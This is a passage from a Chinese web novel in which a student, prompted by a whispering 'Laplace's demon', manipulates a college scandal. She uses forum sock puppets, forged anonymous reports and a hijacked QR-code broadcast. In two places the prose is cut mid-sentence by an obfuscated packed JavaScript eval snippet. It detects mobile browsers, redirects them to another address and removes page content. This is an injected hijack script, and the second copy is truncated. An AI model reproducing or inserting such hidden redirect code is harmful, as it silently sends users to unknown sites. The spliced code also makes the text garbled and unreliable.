她关掉手机，坐在微弱的夜灯里发呆许久，脑海中只剩一个念头：是否要继续加大干预？毕竟“教授争端”远未结束，若她再添几把火，也许能把更多人的视线吸走。但与此同时，她也害怕更极端的措施会彻底暴露自己。她额头冒着冷汗，直到耳畔传来轻柔却带着诱惑的声音：“还在犹豫什么？若你想证明自己有资格在这命运之网里立足，就放手去做吧。” 她吸了口气，望向那几页在昏暗中依然闪着淡光的公式纸。似乎只要她愿意，便能继续编织一场场“意外”，把整座学院的注意力搅得天翻地覆，让任何追查她的人都找不到蛛丝马迹。她缓缓摩挲纸张边缘，终是下了决心。 第二天，她借口要去导师办公室提交某些阶段性成果，在路上绕到资料室，翻出几份尘封的学院内部文件。那里记载着过去数年里若干师生纠纷的简略记录，大到学术纠纷，小到日常争执。她 meticulously 拍下部分重要信息，然后把文件原样放回。回到宿舍后，她一口水都没喝就打开电脑，开始搜索那些历史纠纷当事人的社交账号，试图了解他们是否依旧在学院。若有人还在，那么她就能挖出更多冲突点，甚至制造“再度碰撞”的机会。 与此同时，她不忘查看论坛里有关“教授风波”的最新动向。每日帖子的点击量仍旧颇高，不少学生也趁机发表各种意见，其中也夹杂着对“神秘运气传闻”的零星讨论。“可能是撞邪了吧。”“超自然？瞎掰。”“我听说有人运气逆天……”都被淹没在更喧嚣的事件洪流里。乔伊略微松了口气：看来她的转移手段暂时奏效了。只是那位拥有陌生ID、发警告消息的人仍是她挥之不去的阴影。 夜深时，她把自己收集的纠纷资料整合成一份“引导脚本”，其核心思路是：让那些昔日有冲突的师生、同学彼此之间再度产生误会或矛盾，通过论坛小号或线下暗示，诱使他们在公共场合正面交锋。这样一来，教授风波还会持续发酵，新旧事件交织成更复杂的群体争端。当事人情绪高涨，围观者纷纷挖掘内幕，也就没人去关注“乔伊是不是一直好运爆棚”这种“小道传闻”。 写完这份脚本，她长出了一口气，又感到心脏抽痛。她想起顾子衿曾经跟她说过：“学术探究最重要的是真实和纯粹，我们不能被外在势力蒙蔽双眼。”如今她做的每一件事，都在彻底背离那份纯粹——甚至让学院陷入更深的分裂。可她已无力回头，只能一边自欺地安慰自己：“这是暂时的牺牲，只要我安然度过这一关，我定会用能力好好回馈……” 半个月后，学院里小风波不断，一些“陈年旧账”被翻出来，当事人与教授间爆发激烈冲突。讨论的规模越来越大，连校报都开始报道此事，轰轰烈烈地渲染“学院治理亟待改进”。乔伊在幕后冷眼看着这一切，一边时刻关注是否有人顺势继续调查她。她表面上依旧安静地上课、写论文，暗中却不停地往“变量干预”里加注新的条件，设法令那些调查她的人无暇分身。 在这期间，顾子衿见面时显得闷闷不乐，他说自己项目停滞不前，问卷难以推进，之前还期待乔伊能给些好想法，现在只能搁置。乔伊安慰他说：“等风波过去，我们再看机会。你也别灰心，说不定这些乱象终会平息。”而她对拉普拉斯妖心里却在说：只要继续大乱，他们都顾不上我。 然而，就在她以为可以把所有不利化解成乌有的时候，意外出现了。那天傍晚，她收到某位学姐的匿名邮件，对方直截了当指出——她发现乔伊曾在论坛里使用过多个小号“推波助澜”，并且隐约看到了她刻意删改顾子衿问卷的痕迹，一旦真相曝光，乔伊是否能解释清楚？ 看到这封邮件时，乔伊脑子里一片空白。她花了无数心思去掩盖痕迹，居然还是被揪出了端倪？那学姐在邮件末尾还附带了一句冷漠的警告：“若你继续魑魅魍魉的把戏，我就把收集到的所有信息集中曝光。你想想看，学院若知道你在背后操纵这么多事件，会怎样对待你？” 乔伊浑身冰冷，如坠绝境。她念及自己一路以来的艰辛：无论学术还是社交，她都曾被压制，被嘲笑，如今好不容易通过“干预”才获得导师青睐，才在学院里建立起自信，却眼看就要被毁？不，她不甘心！ 她抓起那宝贵的公式纸，飞快地向拉普拉斯妖寻求指令：“告诉我，我还能怎么办？” 拉普拉斯妖这回却似乎沉吟片刻，轻声道：“也许……你可以大胆地让一切暴露，然后再利用更高维度的手段扭转大众对你的认知。毁灭再重生，有时比苦苦遮掩更有效。” “可那会有多大的风险？我可能会被赶出学院啊。”乔伊颤声质问。 “是啊，所以需要一个更极致的布局，让你不仅洗清嫌疑，还能把注意力转移到所谓‘更神秘的现象上’。只要你愿意。”它顿了顿，似乎带着戏谑，“你其实一直在往这个方向前进：你想站在更高处，想要更大的力量，就要先承担暴露的可能，再利用自己的智慧化险为夷。这才是真正的蜕变。而我……会给你必要的帮助。” 乔伊愣住片刻，忽然有种前所未有的清晰：过去的那些小打小闹，毕竟还是在阴影里躲藏，如今要想完全保住成果，也许只能壮士断腕——把一切推向极端，然后在最混乱的时刻翻手为云，让她成为掌控全局的人。思及此，她感觉喉咙发紧，既有恐惧也有狂热。她低头看着手里的科学公式，仿佛看见一扇漆黑之门在向她敞开。她真的敢踏进去吗？ 她强迫自己冷静，反复权衡利弊。若她坐以待毙，她必定会被那学姐撕破伪装；若她主动掀起一场更大的风暴，也许能在绝境中逆转。她最后深吸一口气，把那邮件反复读了几遍，心里缓缓生出一个疯狂的主意：她要干脆让这位学姐的爆料本身沦为一场更高层次的闹剧，让所有人都深陷其中，以至于最后再也追究不清谁是受害者，谁是始作俑者，而她自己可以趁着混乱消失在游戏外圈，甚至反客为主地成为破局关键。 她锁好宿舍门，趴在电脑前敲击键盘，一遍又一遍地写着计划。计划的核心是：她必须先“承认”一些弱化后的错误，引导对方爆料，同时将学院里所有“有嫌疑随时爆料”的人都卷进来。然后，她要在关键时刻抛出更离奇的证据，声称这背后有一个操纵全局的黑手，并“无中生有”地把那个黑手指向某个久未出现过的神秘网友，制造新的舆论旋涡。这样，整件事会从关注乔伊本人，变成对隐形黑手的全民大讨论。只要她能操纵好进程，等风头过去，大家只会记得那场离奇又扑朔迷离的“网络阴谋”，反而不会有人真正揪住她不放。 当然，这是险棋，一旦细节没有控制住，她的真实身份就会被扒个底朝天。可她再一次告诉自己：没有退路。拉普拉斯妖默默倾听，在她脑海里深深叹息：“你终于迈出这一步了。既然选择，就别后悔。” 第三天临近傍晚，乔伊故意去跟那位学姐私下联系，说：“好，我答应跟你谈谈条件，你可以爆料，但别把我逼到绝路。”学姐果然激动地表示要先收集更多证据，打算过两天在论坛公开。乔伊在暗中故意留下“半清晰半模糊”的痕迹，让学姐愈加确信自己手握天大把柄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013876|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，却不曾发现乔伊也在暗地里追踪她和其他关注者的社交动向。 与此同时，乔伊以匿名方式投递了更多线索到学院论坛，高调地暗示“幕后黑手”涉及校外势力，而不仅是校园个人纠纷。骇人听闻的消息立即点燃了吃瓜群众的热情，许多人奔走相告，试图剖析背后真相。这一次闹剧轰隆隆地扩大，教授风波也因此被牵连成了一部分“阴谋”——人们开始怀疑是有人蓄意挑起教授之争来掩盖更大的猫腻。 乔伊坐在宿舍里，看着论坛里无数激烈的讨论飘过，一种近乎疯狂的刺激感爬上她的脊梁。她知道自己在玩火，但与此同时她也感到，一旦所有人的注意力都集中到所谓“校外势力”之上，学姐对她的个人爆料就失去了最大杀伤力。因为大家已经认定，问题更复杂，那些小号操作也许只是黑手操纵下的冰山一角，是否是乔伊所为，反倒不一定能成焦点。 果然，不到两天时间，学姐的揭露帖子发出后虽然引来轰动，却迅速被另一波更加骇人听闻的“黑手阴谋论”搅合。网友们甚至开始互相攻讦，猜测彼此是不是“黑手走狗”。这位学姐见局面失控，试图在帖子里冷静申明自己手握实锤，但大量帖子与回复都被新的料冲淡。乔伊小心翼翼地在暗处往公式中输入关键干预，让更多声音站出来质疑“学姐是不是被利用了？”如同连环爆炸般，你来我往的互骂与辟谣，把原本指向乔伊的证据几乎埋没在一片混乱里。 顾子衿在私底下也发消息给乔伊，惊问：“怎么突然又闹出这些匪夷所思的事情？学姐你……有没有被波及？我见有人提到你，但好像又莫名扯到别的势力。”乔伊只能叹气，装出一副无奈的语气回复：“我也不清楚，感觉事情越来越离谱……你先别掺和了。” 三天后，学院领导不得不紧急介入，暂停一切论坛讨论，并宣布将开展全面调查。消息传来时，乔伊侧身倚在宿舍窗前，遥望着深秋的天空。她知道自己赌赢了一半：在越来越失控的舆论浪潮里，没有一个人能百分之百确定她究竟参与了什么，连那最初大张旗鼓声称掌握她黑幕的学姐也陷在迷雾里，弄不清哪些证据是真的，哪些是有人故意抛出的烟幕弹。 她却无法真正放松，因为学院的“全面调查”意味着官方的正式介入，若校方把所有线索整合起来，也许仍然能追溯到她身上。她必须继续做功课，以确保在下一步调查里，她是“配合者”，而非“嫌疑人”。 夜幕降临，乔伊又一次在电脑前苦战，搜罗一切能证明自己单纯、善良、无辜的小细节，甚至找来林忻和齐悦帮忙“做证”，说她近期都在忙论文，很少上论坛。室友们对她半信半疑，但也没太多疑问，她只需再稍加引导，就能让她们提供“乔伊并未频繁上网”的口供。 终于，她长出一口气，仰头按摩僵硬的颈项，脑海中却依旧回荡拉普拉斯妖那句意味深长的话：“你终将选择让自己暴露在风暴中，然后再一次‘华丽翻盘’。这就是你内心渴望的‘命运掌控’。” 她没有否认。她理解到，这次闹剧只是更大腾挪的开始。若她真能全身而退，或许就能抵达更高的维度——到那时，她不但能让学院里的人对她又敬又惧，也能进一步挖掘干预公式的无穷可能。想及此，她心底竟没来由地涌现一丝兴奋，仿佛一道火焰顺着她的脊椎蔓延，让她整个人都颤抖起来。 她深吸一口气，看向那几页纸。它们微微泛着神秘的幽光，似在回应她内心的诉求。她伸手轻抚其上，轻声道：“到头来，还是你给予了我‘重新掌控命运’的机会。等我再往前迈一步，就会走得更远，再也没人能戳破我的秘密。你……会陪我吗？” “当然，”拉普拉斯妖轻柔的嗓音仿佛环绕在她耳边，“但你也得做好准备，这一切即将变得更危险，更脱离常理。当你真正凌驾于这些凡人之上，再回头就难了。” 乔伊微微一笑，眼里闪着坚毅：“我不会后悔。” （第三章完） 就在她天亮前合上双眼的一瞬，她隐约预见未来：学院调查即将掀开更诡谲的幕布，无数线索纠缠不清，甚至有人可能挖到“她手里握着一张通往命运之门的神秘纸张”。而顾子衿，那个单纯而执着的学弟，也许即将走上另一条岔路，与她产生更深的纠缠。最要命的是，那个在暗处监视她、伺机给她发警告的人，似乎比她想象中拥有更可怕的资源……这一切，都是下一度风暴的预兆。 4. 逐光之围 乔伊推开图书馆后门的时候，夜色正浓。走廊里的灯闪烁几下，随即归于安静。她特意等到这个时刻才离开，因为她下午在资料室翻看了一堆陈年档案，生怕被人看到她手里抱着的那沓资料——她要求助于那些旧时神秘事件的记录，试图从中提炼出新思路，为即将到来的“学院调查”编造一个足够离奇而又难以验证的剧情。 驶出后门时，她忽然听到身后传来脚步声。她心跳骤然加速，猛然回头，却只看见空荡荡的楼梯拐角。也许只是风的回响罢了。可她无法抑制地想起，那一句潜伏已久的警告：“你以为你能逃过所有窥探？”她哆嗦了一下，匆匆贴着墙边快步离去。 回到宿舍后，她深呼吸，撑着桌沿打开台灯，将那堆资料摊开：其中一半是学院过去几十年的特殊事件记录，包括学生纠纷、教授争端，还有一些听似荒诞的“超自然报告”。另一半，则是她从顾子衿那里搜集来的学术资料，关于“概率叠层”“变量干预”“因果观测”之类的概念。她要把这些内容揉合进自己即将提交的“匿名报告”里，好让学院领导乃至所有关注者都认为：这次的传闻中，确实存在更大的谜团，并非一个普通学生可以轻易掌控。如此一来，哪怕有人怀疑乔伊，也会因为种种复杂因素而难以下手解剖事实。 然而，就在她翻动资料时，手机屏幕亮起：陌生ID又发来一条私信。“究竟想玩到哪一步？如果真要把学院拖进深渊，你也逃不过。”字里行间的挑衅和冷漠，仿佛跟拉普拉斯妖那种温柔、神秘的诱导形成鲜明对照。乔伊眉头狠狠蹙起：这家伙总是在紧要关头出现，似乎对她所有举动洞若观火。可对方究竟是谁？她一无所知。 “我已经没有退路了。”她心里暗暗说。然后再度握紧笔，在那几页微芒公式上写下各式各样的推演：“若传言指向A教授，则……若学院高层选择内部压制，则……若顾子衿发现关键线索，则……” 一连串假设不断衍生，又不断被她修改。旁边的拉普拉斯妖轻轻笑：“你的思考越来越缜密，但别忘了，你真正要利用的，是人们对‘未知力量’的恐惧与好奇。只要你能在调查的关键流程设计一些无法解答的怪象，就能把自己藏在那迷雾后面。” 乔伊深吸一口气，慢慢平静下来。的确，她目前最需要的，就是把学院调查的矛头往“未知力量”那边去带。哪怕最终有人依稀觉出事件里有她的影子，也会被她巧妙设计的环节所拖住，无法证明她才是那幕后推手。她将恰到好处地变成“侧面受波及者”，甚至还能借此获取某种更高地位。想明白这一点，她的胆气又回来了。 学院调查的第一个阶段，是由几位校领导与学生代表组成的“特别小组”，他们会调取所有可疑时间段内的邮件、论坛发帖记录，以及部分监控录像。消息一出，整座校园里弥漫着难言的焦躁，很多学生担心自己随意发过的帖子会被无限放大，也有人担心被误伤。乔伊知道，这恰恰是她的机会：当所有人都自顾不暇时，她能在关键节点投放那份“匿名报告”。 她把报告分成三个部分：第一部分是“事件缘起”——她虚构了一段聆听到“高年级神秘研究组织”讨论的情形，说对方似乎在试验某种“心灵干预”手段；第二部分是“关联案例”——借用了旧档案中的档案号和标题，拼凑出一个更骇人听闻的“历史黑幕”，暗示这些事件曾在校园内部反复出现；第三部分则是“当前警示”——她故作正义地表示，若学院不及时采取更全面的封锁与排查，这些“神秘势力”可能会造成更大混乱。 写完后，她将报告打印成一份纸质文档，再套上新买的信封，利用夜色掩护送到学院行政楼信箱。做完这一切，她仿佛用力踢开了一扇半掩的大门，心中五味杂陈：是成，是败，就看学院决策层是否会被她这番“火上浇油”所蛊惑。她在夜风中搓了搓手，怀抱那些仅剩的一点侥幸。 然而，回到寝室楼下，林忻正好从自动售货机那边走来，两人撞了个正着。林忻打着哈欠：“啊，乔伊？你这么晚还在外面……不会也在查论坛风波吧？”乔伊心口咯噔一下，但面上维持镇定：“没有啦，刚去自习室补充点笔记。”林忻倒没有继续追问，只是道了晚安回宿舍。乔伊暗暗松了口气，却又感到一点隐隐的不安：宿舍里的人都看她神色有异，如果有人深追????句，她也未必能圆得完美。 接下来的两天，学院调查组一面宣称要对所有相关信息进行严格排查，一面又不断放出风声，说“调查出了一些异常现象，有可能存在外部势力”。这正合乔伊心意，她猜测那封匿名报告已经开始发挥作用。果然，论坛上再度出现新的猜测风向：“原来教授争端只是冰山一角，幕后还有更神秘的操纵者。”“莫非真有某种‘实验团队’在进行超自然研究？” 乔伊暗自庆幸，却也不敢放松，因为她发现顾子衿这两天异常沉默，甚至没再给她发消息。她隐约担心：会不会顾子衿发现了什么？或者被调查组叫去问话了？不管怎样，她没法主动联系，免得露出破绽。 第三天下午，乔伊正在教学楼走廊尽头的休息区浏览手机，突然接到顾子衿打来的电话。她赶紧接起，那头传来低沉的嗓音：“学姐，我能见你一面吗？我有些事情必须要搞清楚。”她听到他空前严肃的语气，心里一凛，却只能答应：“好，你说地方。” 十分钟后，两人面对面坐在校园小花园深处的长椅上。周围师生匆匆走过，却几乎没人注意到他们。顾子衿先递给她一个牛皮纸袋：“这里面是我之前收集的关于‘概率干预’的所有资料，里面不少数据都间接指向一个结论——有人在这所学院里做过近乎‘作弊式’的运气操纵。我过去一直理解为某种理论上的假设，但最近发生的一连串怪事，让我不得不怀疑现实中真的有人在这么做。” 乔伊捏着纸袋的指尖发白，勉强扯出一抹笑：“你这是在质疑我吗？”顾子衿没有立刻回答，而是说：“我希望不是你。但你也知道，前些日子我们讨论过很多理论，你比一般人更清楚‘微观干预’怎么实现。如果有人自动避开调查，或者利用随机事件不断扭曲本应正常的走向，就像把所有波折都变成对她有利的推进……这意味着什么，你很清楚。” 乔伊张了张口，却发现自己像喉咙被卡住一样，无法出声。顾子衿看着她，眼神满是矛盾与痛苦：“如果真的是你，我不知道你为什么要这么做。你可以告诉我原因吗？也许我能帮你。至少……别再深陷下去了。” 听到这番话，乔伊心里骤然刺痛。她曾一度感谢“拉普拉斯妖”给她带来翻转命运的契机，也曾对顾子衿的关心与信任倍感温暖；可如今，两股力量像两只手撕扯着她，让她进退维艰。她别过脸，咬着嘴唇说：“你想多了。那些异常运气分布，不见得就是谁刻意干预。或许只是巧合。” 顾子衿缓缓摇头：“我要选择相信你吗？还是相信我手头的证据？”空气中凝结着沉默。隔了好几秒，他低声道，“学院调查组也找过我了，我跟他们说，我不认为你会做这种事……可我并不知道自己是不是在欺骗他们。” 乔伊心底一片混乱，只能无力地回答：“谢谢你相信我，可我能告诉你的只有：我并没有做任何违法的事。你……再给我一点时间。”她说完，把那纸袋原封不动地还给他，“这里面的资料你先收着，别让它惹来更大的麻烦。” 顾子衿看她神色憔悴，也不好再追问，最终轻轻点头：“我等你。希望你别让我失望。”他说完离开，背影带着隐约的落寞。直到他走远，乔伊才大口呼吸，感觉自己快要崩溃。她恍惚地想：如果顾子衿再追问半句，自己或许就会说出百分之九十的真相。可这样做，一切岂不是毁于一旦？ 傍晚时分，乔伊返回宿舍，林忻一见她就跑来：“你知道吗？调查组刚刚贴了公告，说下周五要开全院大会，集中说明调查进展。”乔伊只觉心头紧绷：这是学院想统一定调了？那她的那份匿名报告发挥的影响会被公开吗？会不会出现什么超出她控制的事？ 她强作平静地笑笑：“哦，是吗？那还挺严肃的。”心里却一阵阵发颤。她回到自己的座位，把电脑打开，准备再看看论坛，却发现已经无法正常访问——学院彻底封锁了论坛入口。而手机社交群里也安静了不少，显然学生们对调查结果既恐惧又期待。乔伊抚摸那几页微光公式，耳边似乎再次传来拉普拉斯妖的轻笑：“时机已至。下周五的大会，就是你最后的‘反转舞台’。你要让所有人知道，真正的‘奇迹’往往在众目睽睽之下发生，然后更深的真相反而无人企及。” 乔伊叹息一声，她隐隐知道自己该做什么——让那场全院大会沦为她再度洗牌的场合。只有在所有人聚集时，她才能投下更具冲击性的“实锤”或“怪象”，比如在会场外随机引爆一场事件，或者利用学院的公共内部网，散播一段看似来自“神秘研究团队”的宣言。只要炸点足够大，调查组就不得不将重心转向那些新的线索，反而淡化对她个人的怀疑。 这么做的危险性也极高：一旦她的操作被技术人员追查到，她将彻底暴露。可拉普拉斯妖柔声告诉她：“你不是最擅长把风险当作垫脚石吗？你明明想用这力量在苦难的人生里翻身。可只要还存半点犹疑，你终究会成为别人的猎物。” 乔伊流下了一滴眼泪，却把它抹去：“我没得选了。继续下去，我只能破釜沉舟。”当夜，她几乎没合眼，埋头编写一段“神秘研究团队”的所谓‘发布声明’，里面混合了许多半真半假的理论和极具煽动性的字句：比如“我们的实验早在XX年就启动”“众多学生已是我们观察的对象”“学院高层对此有所默许”……只要这样一篇言辞激烈的声明在大会当天流出，势必造成轩然大波。 写完后，她用加密方式存在U盘里，反复确认没有与自己直接相关的痕迹，并在公式里推演各种投放方式：可能是现场投影？还是在学院大群里定时发送？她终于选定了一个较为安全的方式：把声明写进一张二维码暗链，让它在大会现场的公共频段自动弹出。只要不被技术人员拦截，人们一定会哄抢着转发截图。至于她，届时只需混在众人里装出一副惊疑模样。 很快就到了周五前夜，乔伊坐在空荡的教室里，心中一片煎熬。顾子衿迟迟没有再联系她，那学姐似乎也没再发威胁邮件，连那个陌生ID都安静了，仿佛所有人都在等同一刻——大会的宣告。乔伊思绪翻飞，想起无数细节：她曾无数次在阴影里操作，也曾被用短信或私信恐吓；现在，她要正面在上千名师生面前“表演”一次颠覆，这是否已经超出了理智？ 然而，当她握紧那U盘时，拉普拉斯妖的魅影再次浮现，带着低沉却兴奋的声调：“你早就明白，这条路终究要靠最后一搏来升华。你不属于凡人的逻辑，你已经触摸了更高维度的曲面，哪怕是倾覆，也比平庸地活在质疑和暗示中要痛快得多。” 乔伊深吸了一口气。她望着窗外陌生的夜色，终究下定决心：要么彻底洗白自己，以“神秘论”的假象逃过调查，要么在明日的风暴中落败，被所有人指证。“已到此处，我绝不回头。” 周五下午，学院礼堂人头攒动。学院领导、教授代表、学生代表接连进场。乔伊坐在相对靠后的座位，耳朵里却捕捉到周围的议论声：“听说今天会公布个大秘密？”“也有人说就是走个过场而已。”她握着手机，默默等待那一刻。 随着主持人简短的开场，一位校领导上台发言，先回顾了“教授纠纷”和“论坛阴谋”的来龙去脉，然后郑重表示学院进行了一系列取证：“目前怀疑外部某势力曾试图干扰学院稳定，但尚无确凿证据……”台下人声正在议论，突然间，有好几个人的手机同时震动，几秒后，一个二维码弹窗竟被分享出来，瞬间在场内蔓延。乔伊的心脏也跟着“咚咚”直跳——是她事先设置的暗链开始自动推送了！ 后台有技术人员大喊“系统异常”，可已经来不及阻止四处扫码的人。下一秒，无数人的手机画面开始显示那篇“神秘研究团队声明”，里面自称：“我们潜伏数年，早已对学院做过多次心灵模型实验；若你们想揭露我们，将引发更加不可控的后果……”声明文字中还指名“顾子衿等人曾接触我们”云云，看上去似乎有根有据。此话一出，全场轰动。有些同学惊呼，有些干脆拍照留存，现场秩序瞬间沸腾。 台上的校领导愣了几秒，赶紧让工作人员断开网络，可二维码已经扩散，想阻止为时已晚。礼堂里陷入一片骚动，有人大喊：“果然有神秘组织！”也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这突如其来的插曲在众人之中引起了一片新的骚动，却也很快被“神秘声明”的强大冲击所淹没。许多学生争着想要看那二维码和声明内容，甚至跑出礼堂继续讨论。台上的领导只好匆匆宣布“大会暂时中止，改日再行说明”。 乔伊混在人群里，脑子嗡嗡作响：她成功制造了混乱，却也看见了可怕的一幕。那学姐显然已经收集了足够多的线索，如果她再加把劲，或许真能指认乔伊就是“幕后推手”。此刻只不过是因为场面太混乱、学院领导急于终止闹剧，才给了乔伊喘息机会。可之后呢？是否会把这件事彻底追查到底？ 礼堂外，乔伊跟随人流慢慢走出，看着许多同学在激烈讨论、惊呼。她仿佛看见自己精心编排的剧目成功上演，但危机依旧潜伏。那学姐今天虽被拦下，却不代表她会善罢甘休。要如何才能再一次摆平对方？ 顾子衿的身影在人群那边出现了，正焦急地四下张望。乔伊不敢迎上去，赶忙低头拐向另一条小道。她生怕他在这一刻读懂她眼里那即将崩坏的情绪。她一路快步走回宿舍楼，下意识地掏出公式纸。拉普拉斯妖紧紧贴着她的耳畔，语调欣喜又危险：“看到了吗？只要你够果决，一场颠覆在你掌股之间。可你现在的手段还不算完美，你需要更广阔的资源，更强大的掩护，才能斩断所有人对你的追查。” 乔伊闭了闭眼，这是她第二次真的感受到：单凭她的一己之力，也许难以同时打败学姐、蒙蔽学院领导，并且瞒过顾子衿。她像在悬崖边踉跄，要么坠落，要么再往前迈一步……她低声问：“你能给我什么？” “被你亲手隐藏的那个入口，通往更高维度的‘领域’，你还记得吗？你只要再往前走，就能获得‘在因果之流中改写人心’的权限。不过，你要先付出某些更大的代价。”拉普拉斯妖低声魅惑着，仿佛一个黑夜里的吟游诗人，“你愿意吗？” 乔伊手心一片冰凉，却又在颤抖中透着某种热望：“或许……唯有那样，我才能彻底掌控所有人的视线。”她声音颤抖，却没有拒绝。 夜幕降临时，她坐在宿舍桌前，望着窗外一片混沌的天色。远处依稀传来有人在争吵，也许是对下午真人闹剧的讨论；手机上有无数未读消息，顾子衿的、林忻的，还有学院领导群发的“道歉与安抚声明”。她一概无心再看，只是慢慢将那几页公式捻开，感到它们的微光仿佛变得更刺眼了。她隐约猜到，自己离那扇“命运之门”只差半步，而那道门之后，或许是一片深渊，也或许是一片崭新的王国。 她并不知道，学姐也好，陌生ID也好，亦或是某些更暗处的势力，此刻正在筹划下一步的反击。她只知道，想要生存乃至更进一步，就得不择手段地强大下去。这就是她与拉普拉斯妖的“约定”：一旦踏上这条路，就别奢望回头。 她敲击键盘，写下一行字：“我愿付出必要的代价。告诉我，怎样才能彻底封死学姐和所有可能泄密者的嘴？”屏幕上没有任何文字回应，但她能感觉到自己内心深处似乎有某股力量在渐渐觉醒，冷酷、无情，却又带着难以言喻的狂喜。 就在这时，宿舍门外传来轻轻的敲门声。乔伊一愣，还没来得及作出反应，那熟悉的陌生ID居然通过门缝塞进一张纸条：“你还欠我一个交代。下一次谈判，别想一个人独占风头。”紧接着，走廊里又回归死一般的宁静，仿佛那人从未出现过。 乔伊拿起纸条，觉得后背发凉。这种近在咫尺的窥视，比任何远程私信更具威慑。她攥紧手心，痛苦地闭上眼：她正面临来自多个方向的威胁——那学姐、陌生ID、学院领导、顾子衿的质疑，以及更浩大的暗流。看似满盘皆输，但她相信，只要继续深挖“拉普拉斯妖”给予她的力量，她也许能逆转一切……只是，那样的代价又会是什么？ （本章完） 当夜深时，她还在桌前写写画画，勾勒一张隐秘的“关系网”，力图把所有对她构成威胁的人与事都纳入新的霸道规则里，然后用更高维度的方式将他们分割、转移、瓦解。她的心中泛起阵阵冷意，却也有奇异的满足——仿佛置身巨大的迷宫里，她正在亲手改造每一条岔路，试图踏向那个无人能及的终点…… （下章预告） 学院调查尚未有定论，下一步怎么收场？学姐的当众指认会不会东山再起？顾子衿又会不会背离她的期待？而那陌生ID，此刻悄悄潜入了她宿舍楼，只为塞下一页纸条——他们之间究竟有什么隐秘纠葛？当所有危机聚拢到一起，乔伊能否在更深层次的“命运齿轮”中再次翻盘？一场更凶险的较量，已然悄然逼近…… 5. 夜色掩余烬 初秋的风带着微凉，拂过学院辽阔的校园草坪。大大小小的建筑都在晨光下显露出隐隐疲态，仿佛昨夜那场唇枪舌剑、秩序失控的混乱仍在其间徘徊不去。乔伊站在宿舍阳台，看着远处零星汇聚在一起的学生们，心中如同钟摆般荡来荡去：一面是那“神秘组织声明”成功转移了所有人的注意，让这场“调查风暴”朝着更匪夷所思的方向演进；另一面，学姐的半路拦截与陌生ID的“贴身注视”，让她时时刻刻感到潜在的威胁。 她回忆起昨晚回宿舍时，恰好看见保安带着学姐匆匆离开礼堂。学姐那时还想奋力挣脱，气得大声喊：“你们不能这样欺骗全院师生！这份证据我一定会……”后面的话被淹没在喧嚣里，但乔伊心里阵阵发颤：对方既然敢在那个场合亮相，手里恐怕真掌握了什么足以击穿真相的线索。只不过，学院领导现在花容失色，忙于安抚舆论，对学姐也采取封堵措施，才没让她继续扩散。但这只是一时之计，学姐不会就这样放弃。 她走进房间，抚摸那几张微光闪动的公式纸。一整夜，她都在思索接下来的策略。她之所以能成功“放火”，是因为她深谙人性的恐惧与好奇。只要制造出某种难以解释的离奇感，人们便会自动忽略细节、追逐热点，从而听不进学姐的“反戈一击”。可反过来，以学姐的执着与谨慎，迟早会找出更多技术证据。这意味着乔伊必须加倍提升计划的规模，让更多人被牵扯进去，乃至彻底忘了追查她本人的蛛丝马迹。 拉普拉斯妖那熟悉的声音轻拍她的肩：“去做吧，让这场危机变成一次加速进化。你越渴求生存，越能蔑视一切束缚。”乔伊叹了口气，她心知这已是别无选择。便当机立断，翻出顾子衿之前给她的学术笔记，还有那些她从图书馆搜集到的旧校报。她需要打造一出更惊险的“连续事件”，让整座学院都深陷对“超自然试验”的揣测。 先从一封匿名邮件开始。乔伊选在深夜，用一台不常上线的旧电脑发布了这封邮件，收件人是学院里几个颇具话语权的学生组织负责人。邮件内容看似仓促却细思极恐：“我们并非只打算干扰某人的学术之路，而是要改变整个学院的思维格局。若你想揭发我们，就试着查明秋季档案室里那份编号S-21的尘封报告。是真相，亦或是谎言，尽在其中。” 发送完后，乔伊立刻切断网络，拔下存储硬盘。她知道，这一封邮件将像一根火柴，投进干柴遍地的舆论环境。学生组织负责人多半会砖头般传来追问，也有可能直接找学院高层交涉，而“编号S-21的报告”只是当年一桩普通的实验记录，但结合她早前“匿名报告”中暗示的“外部势力”，足以让任何人脑补出更可怕的阴谋。 与此同时，她假借另外一个身份，在学院论坛（依旧处于“技术封锁”但私下还有人翻墙访问）发布一条暗指：“听闻学院官方已秘密封锁了大量‘心灵干预’研究数据，昔日有人为此付出血的代价……”这两则消息很快会形成对冲，把所有在意此事的人都逼上一条“调查旧档案、揭开学院神秘实验”的路。这样一来，一旦真的有人查到那份名为S-21的档案，必将发现它是个“普通实验”，疑窦却又巨大，从而继续陷入层层猜测与恐慌。 乔伊将手按在公式纸上，冷静地推演着接下来的可能：最理想的结果是，学生间出现一种“大范围传言”，学院领导根本忙不过来；学姐那边若想干预，也会被裹挟在这铺天盖地的谣言里，难以有效发声。她需要的是“加注筹码”，令整场博弈有足够多的参赛者，自己才能藏身暗处。 可就在她自以为在掌控全盘时，脑海中突然闪现顾子衿的面庞：他会如何应对这场新的动荡？他还会选择相信自己吗？一刹那间，她莫名有些内疚。若继续走下去，她终将把所有人的命运都绑到这条危险之船上。可她没得选。她合上电脑，站起身的时候，屏幕在昏暗灯光下映出她略显疲惫又故作坚毅的脸。 事实印证了她的推算。不出两天，学院内外就传来各式各样的传闻：“编号S-21有惊人秘密”“学院历史上存在过隐蔽的人体实验”……传言越飞越远，还衍生出种种猜测。与此同时，由学生会牵头的数名代表也在网络上放话，要求查阅秋季档案室的文件，并在评议会上公开讨论。学院高层火速出面“安抚”，但执行力度有限，只能把那份档案暂时“隔离”，禁止任何人翻看。此举反而进一步激发了同学们的好奇心：若是真没什么大不了，干嘛要如此紧张地全面封锁？ 